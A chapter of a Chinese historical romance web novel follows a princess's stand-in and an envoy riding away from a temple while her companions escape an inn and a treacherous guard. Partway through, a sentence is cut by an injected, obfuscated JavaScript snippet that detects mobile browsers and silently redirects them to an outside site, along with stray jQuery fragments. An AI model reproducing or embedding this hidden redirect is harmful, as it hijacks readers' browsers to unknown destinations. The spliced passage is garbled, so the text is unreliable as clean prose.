僧房门敞着,二人无言食用素斋,席间未再商讨如何处置。
陆乘渊的发问打破了沉默:“公主,伤口之痛可有缓解?稍后可否忍受颠簸?”
“略微痛意,无妨。”
“倘若今日在此留歇,恐会给寺庙带来喧闹。一刻后便出发与文嬷嬷们汇合,公主意下如何?”
“那便依使者所见。”
陆乘渊将倒好一杯姜茶,小沙弥正好端着木盆而来。
瞧见赵安珞已能坐起,小沙弥藏下喜悦,清了清嗓子道:“女施主,你身体可有其他不适?”
“已无大碍,有劳小师傅还为我二人备了姜茶。”
小沙弥有些心虚,过了好半响才答道:“小事一桩,我那时糊涂了,女施主差点儿因我之错而冤枉丧命,请女施主海涵。”
赵安珞摇头浅笑道:“小师傅莫要自责,佛祖慈悲,此次凶险定是佛祖予我的转运启示,日后我定遵佛祖之启,多行善事。”
陆乘渊放下茶杯,心中某处似被触了一下。而小沙弥听完这番话愈发无地自容,怅然垂下眼帘。
“阿弥陀佛,女施主小小年纪,心境竟如此高深,老衲佩服!”住持款款走来,面露欣赏之意。
见状,陆乘渊为其引荐:“这位是住持师傅。”
赵安珞合掌低头:“承蒙住持光照。”
“不足挂齿不足挂齿。”
小沙弥欲将赵安珞的宫衣放入木盆,却遭陆乘渊握住手臂,“此等小事不劳小师傅费心,我二人已休整好,即刻便带那俩歹人离开。”
“施主为何不多再歇一日?”住持问。
“亲友不知我二人消息,定是还在原地焦急等待。敢问住持,可否带走那琥珀膏?在下忧心她的伤口在颠簸中崩裂。”
住持温和一笑:“那自然,这琥珀膏本就是为女施主备的。”
“住持与各位小师傅今日相救之恩,来日在下必定加倍相报!”
“施主言重了。其他徒弟已将那俩贼人的马匹牵至山门前,那施主先随老衲去取马。”
“有劳住持带路!”
临走前,陆乘渊取走宫衣,对赵安珞侧耳轻语:“衣物留于此,势必会引起不必要的麻烦。在下先丢弃,待与宝格汇合,再替公主买一身合身衣裳。”
小沙弥瞧着二人的亲密举动,待陆乘渊走远,与赵安珞并肩慢行时,方才揶揄道:“女施主定当是个极好的人,因此那位施主也待女施主极好。女施主命悬一线时,多亏了施主及时赶到……”
赵安珞听完小沙弥一字不漏地描述了陆乘渊舍命相救的过程,越听越不对劲,脚步一下子停住,反问:“他说我们已有婚约?”
这下换成小沙弥顿住了,“莫非两位施主不相识?”
“他所言当真。”
看着如此稚嫩的脸庞,赵安珞实在不忍心告诉他:没错,我的确有婚约,不过对象不是他。
行至苍天古树下时,小沙弥将一条朱砂手串递至赵安珞手中,“女施主,这是前一阵子,由住持诵经祈福加持过的手串,本不外传,但我心仍旧愧疚,便赠此物于你,愿这福物日后能庇佑女施主。”
赵安珞心里流过一股暖流,“多谢小师傅。”
山门前,店小二被蒙住嘴,绑住手脚,紧紧束缚在陆乘渊来时所乘马匹的马鞍上。那匹马能听号令,十分适合对于有功夫在身的店小二;而那宫女,亦是采用相同方法,绑在了另一匹马背上。
店小二与宫女噙见相安无事的赵安珞,皆是气愤极了。店小二青筋暴起,激得双眼充血;宫女恶狠狠地盯着,似要将其盯穿。
可惜赵安珞一脸漠然。
这番处变不惊的模样更是激得两人即便被蒙住嘴也止不住嗯嗯哼哼。
陆乘渊骑着唯剩的马匹移至赵安珞身前,弯腰伸手邀约道:“只能委屈小姐与在下同骑一匹马了。”
小姐?难道他知道自己不是嘉宸公主?
“女施主,快些上马,施主在唤你呢!”热心的小沙弥在一旁提醒道。
赵安珞紧张得心跳如鼓,犹豫了片刻,终是搭着他的手,借助他的力,一跃坐到了马背上。随后侧过身,弯眉浅笑道:“住持请留步,来日有缘再会!”
“愿两位施主此行顺风满帆!”住持浅浅挥手,与二人道别。
缰绳一抖,马儿撒开四蹄,如离旋的箭般,向前飞驰。
“寺庙内今日倒是好生热闹,可弟子瞧着,那位女施主许是位逃婚的官家小姐!”小沙弥语调懵懂。
住持平心气和:“世间情仇,自有定律…”
撞钟声荡荡,三匹马跑得飞快,目不暇接之际,只剩黑影。
雾气蒙蒙,疾行途中甚至还能闻到泥土的芬芳。
初次骑马的赵安珞有些新奇,眺望着前方,高声询问:“为何劫走我的两匹马如此听令?”
“实不相瞒,在下对驯马有些独特本领。”
赵安珞被圈在怀里,本就别扭,一问一答间,身后那人的的温热气息又不断呼向耳根,刺得耳根直痒,很难不让人怀疑他是故意的。
可她余光瞥去,他一脸坦然。奇怪,真是奇怪……
———
就在陆乘渊出发寻赵安珞后不久,官府差人前来,在场之人不得擅自离开,需列队等候一一盘问。可这些官兵并未问询失火缘由,反而详细问询容貌特征与衣着打扮。
熟知宫中腤臜之事的文嬷嬷瞬间察觉到了不同寻常:这是宫里差来的人!
旨意根本不是关切公主的安危,显然宫里的人已知晓公主被劫。更甚者,劫走与纵火本就是宫里的主意!至于宫里那人是谁?答案显而易见。
文嬷嬷小心翼翼挪步至宝格身旁,收声提醒:“有诈!我等必须设法离开,万不能继续在此原地等候使者,否则便是自投罗网!”
宝格双眸微微一沉,答道:“客栈三里外还有四匹马,即刻便能走!”
担心文嬷嬷不放心,他又补充道:“那是我鸢都国的马匹,从小便受训过,格外听令,可以确保无声无息离开。”
“那真是极好!”
话音将落,文嬷嬷的视线不经意间扫到北阳侍卫,惊觉他竟与官差的都头勾肩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520414|170672||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
搭背,笑着打闹。那官差甚至还悄悄递了给他一个小花口瓶,一眼便知两人十分熟络。
还没等文嬷嬷再瞧仔细些,念榕也跟着窜了过来,轻声道:“嬷嬷,不知是不是奴婢小题大做了,奴婢怎觉得侍卫大哥行事有鬼?奴婢担忧他的伤口,欲叫他休歇片刻。可离得近了,发觉他身上的味道有些熟悉。方才奴婢才想起来了,是被打晕前闻到的味道!”
瞬间,文嬷嬷只觉一股恐惧感从头延至脚底,而念榕的话证实了她的猜忌,这侍卫亦是同伙!
马夫想必便是在他手中丧命,腰间被刺亦是苦肉计,他定是与那店小二双双打配合,他留在原地里应外合……
文嬷嬷当下倏地捂住念榕的嘴。这小丫头长久在宅,未经历过腥风血月的争斗,让她知情只是徒增恐惧。
遂转身与宝格对了个眼神,宝格已然了解,手指西方,在夜色中默默隐藏身形,带头先离。
“念榕姑娘,若是想尽快找到你家小姐,便勿要问缘由。先噤声,接着定要使出吃奶的劲儿与我一齐逃跑。”
念榕咽了口唾沫,确认赵安珞的簪子还在袖间后,眼神坚定地点了点头。
文嬷嬷拍拍念榕的肩,以示鼓励。随后趁交替列队时,紧紧攥住念榕的手臂,蹑手蹑脚离队,回头确认无人注意到后,带着念榕用尽全力仓皇狂奔。
耳边风声呼呼,两人跑得上气不接下气,终是在一棵伸展着稀疏枝桠的老树下见到了备好马匹的宝格。
“嬷嬷与念榕姑娘可会骑马?”宝格急问。
“公主幼时学习骑马,老奴亦受教过。骑行技术虽谈不上卓越,但能出行。”文嬷嬷气喘吁吁地回答。
念榕手杵膝盖,“我爹爹是马场的厮头,入府……不,入宫前,我曾随爹爹学过,亦能骑。”
“那省去了不少麻烦。”
宝格分别将两匹马的缰绳递予两人,“嬷嬷骑这匹名宝顺,是我爱马,不认生;念榕姑娘骑这匹名宝石,性子温顺。”
“那剩下的这匹呢?”已上马的念榕问。
“它在前头作领跑马。”
“天欲亮,快些出发罢!”文嬷嬷握紧缰绳催促道。
宝格手指合圆,低声吹了个口哨,四匹马一同调转马头,马蹄擦地,一声未鸣,领跑马带着三人一啸绝尘。
而客栈这头,列队的客人中,一人实在饥寒交迫,便扬声问道:“官爷,我们自失火后便没喝到一口水,眼下还要问询到何时?”
另一人也附和道:“是啊官爷,可否告知个准确时辰?”
谁料在场的官差仍是只顾问话,无一人搭理。众人由此心生不满,言语争执渐演变为打斗不休。
待北阳侍卫从打斗中蹿出来,四周都找寻不到三人的身影,这才幡然醒悟。他揪住都头的衣领,气势汹汹:“人都跑了,还不快追!”
都头扶正帽子,反问道:“去哪儿追?”
北阳侍卫语带威胁:“先命人牵马来,我朝西边追。你带人东南北方各分一路人去追,若是被他们跑了,我们都别想好过,一齐提头去见上头那位!”